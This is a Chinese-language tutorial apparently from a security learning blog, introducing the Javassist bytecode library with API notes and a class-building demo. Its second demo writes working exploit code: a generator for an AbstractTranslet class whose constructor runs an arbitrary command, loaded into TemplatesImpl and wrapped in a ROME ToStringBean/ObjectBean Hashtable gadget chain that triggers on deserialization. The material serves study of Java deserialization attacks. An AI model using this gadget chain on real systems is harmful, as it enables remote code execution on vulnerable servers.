javassist基础知识学习

前置知识介绍

Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件,它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,或者直接创建一个新的类,这个过程就类似java的反射调用,但是Javassist一般用于对于字节码文件的修改

基础知识介绍

ClassPool

ClassPool为CtClass对象的容器。要创建一个CtClass对象必须通过ClassPool来获取,创建ClassPool的方法如下

1
ClassPool pool=ClassPool.getDefault();

对于CtClass的获取,可以直接通过makeClass来创建一个新的类赋值,还可以通过get方法来进行获取,但是在一些特殊情况将无法获取到类,由于ClassPool.getDfault()获取的ClassPool使用JVM的类搜索的路径,如果程序运行在JBoss或者Tomcat等web服务器上就可能找不到自己定义的类,这里就需要手动输入路径来进行获取

1
2
3
pool.getDefault().insertClassPath("/path/to/your/classes");
//或者
pool.insertClassPath(new ClassClassPath(test.class));

CtClass及相关用法

CtClass可以看做一个加强版的class对象,但是CtClass需要以ClassPool为容器来获取

通常的获取方式为ClassPool.get(ClassName),这里就得先创建一个ClassPool容器。CtClass是核心,对于创建属性,方法或者构造器都是基于CtClass来进行的

一般获取用法:

1
2
3
4
5
6
7
8
9
//简单创建
pool.makeClass("test")//在默认包下进行创建
pool.makeClass("java.test")//表示创建在指定包下
pool.get("test")//获取一个已存在的类

//指定父类创建
pool.makeClass("test",pool.get(person.class.getName()))//表示test继承父类person
Ctclass superClass = pool.get(person.class.getName());
ctClass.setSuperclass(superClass);//和上面一样

CtMethod

CtMethod同理可以看做一个加强版的Method,这里可以通过CtClass.getDeclaredMethod(MethodName)方法来获取,或者直接通过new CtMethod(type,name,new CtClass[]{},ctclass)来创建一个CtMethod对象,它里面还支持对类中方法进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);

// 插入在方法体最前面
public void insertBefore(String src);

// 插入在方法体最后面
public void insertAfter(String src);

// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);

}

由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:

符号含义$0,$1, $2, …$0 = this; $1 = args[1] …..$args方法参数数组.它的类型为 Object[]) 等价于 m(1,2,…)$cflow(…)cflow 变量$r返回结果的类型,用于强制类型转换$w包装器类型,用于强制类型转换$_返回值$sig类型为 java.lang.Class 的参数类型数组$type一个 java.lang.Class 对象,表示返回值类型$class一个 java.lang.Class 对象,表示当前正在修改的类

demo1

依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

下面一个小demo创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ublic static void aaa() throws Exception{
//创建一个CtClass容器ClassPool
ClassPool pool=ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Object.class));
//在该包下创建一个person类
CtClass ctclass=pool.makeClass("person");
//设置属性
CtField ctfield=new CtField(pool.get("java.lang.String"),"name",ctclass);
ctfield.setModifiers(Modifier.PRIVATE);
//定义初始值
ctclass.addField(ctfield,CtField.Initializer.constant("luokuang"));
//创建一个有参构造方法
CtConstructor ctconstructor=new CtConstructor(new CtClass[]{pool.get("java.lang.String")},ctclass);
ctconstructor.setModifiers(Modifier.PUBLIC);
//$1表示第一个参数,这里进行构造方法体的创建
ctconstructor.setBody("{ this.name=$1; }");
ctclass.addConstructor(ctconstructor);
//创建一个方法
CtMethod ctMethod=new CtMethod(CtClass.voidType,"print",new CtClass[]{},ctclass);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{ System.out.println(this.name);}");
ctclass.addMethod(ctMethod);
//将类创建为一个class字节码文件
ctclass.writeFile("D:\\javadm\\javassist\\src\\main\\java");
}

public static void main(String[] args)throws Exception {
aaa();
}

创建的字节码文件

demo2

创建一个简单的恶意字节码文件

1
2
3
4
5
6
7
8
9
10
11
12
public static void setter(String cmd)throws Exception{
ClassPool pool=ClassPool.getDefault();
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
CtClass cc=pool.makeClass("rce");
cc.setSuperclass(superClass);
String statics="{ Runtime.getRuntime().exec(\""+cmd+"\"); }";
CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},cc);
ctConstructor.setBody("{ Runtime.getRuntime().exec(\""+cmd+"\"); }");
cc.addConstructor(ctConstructor);
cc.writeFile("D:\\javadm\\javassist\\src\\main\\java");

}

创建的恶意字节码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void main(String[] args)throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/rce.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
Hashtable hashtable = new Hashtable();
hashtable.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(hashtable,"123.bin");
unserialized("123.bin");
// setter("calc");
}